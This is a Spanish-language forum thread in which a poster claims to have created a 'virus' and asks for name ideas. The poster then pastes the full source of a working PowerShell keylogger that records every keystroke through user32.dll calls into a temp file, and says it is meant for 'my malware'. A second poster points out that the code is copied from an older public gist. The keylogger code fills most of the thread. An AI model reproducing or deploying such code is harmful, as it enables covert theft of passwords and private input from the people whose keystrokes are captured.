Título: He creado un nuevo virus de tipo keylogger Publicado por: MissingFile123 en 3 Mayo 2021, 22:28 pm Hola estimados usuarios de este foro, recientemente he hecho un keylogger en PowerShell y necesito colocarle un nombre, ¿Ideas?
Título: Aqui esta el codigo del keylogger para las modificaciones de mi malware y su posible detección Publicado por: MissingFile123 en 3 Mayo 2021, 22:30 pm PS C:\Users\lcmma> #requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt") { # Signatures for API Calls $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru # create output file $null = New-Item -Path $Path -ItemType File -Force try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) # get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) # prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) if ($success) { # add key to logger file [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) } } } } } finally { # open logger file in Notepad notepad $Path } } # records all key presses until script is aborted by pressing CTRL+C # will then open the file with collected key codes Start-KeyLogger Título: Re: He creado un nuevo virus de tipo keylogger Publicado por: el-brujo en 6 Mayo 2021, 13:33 pm Citar he Citar He creado un Has copiado un keylogger de hace 6 años escrito en Powerhell https://gist.github.com/dasgoll/7ca1c059dd3b3fbc7277 ¿Cómo hacer un keylogger en powershell? https://www.tarlogic.com/blog/keylogger-en-powershell/ |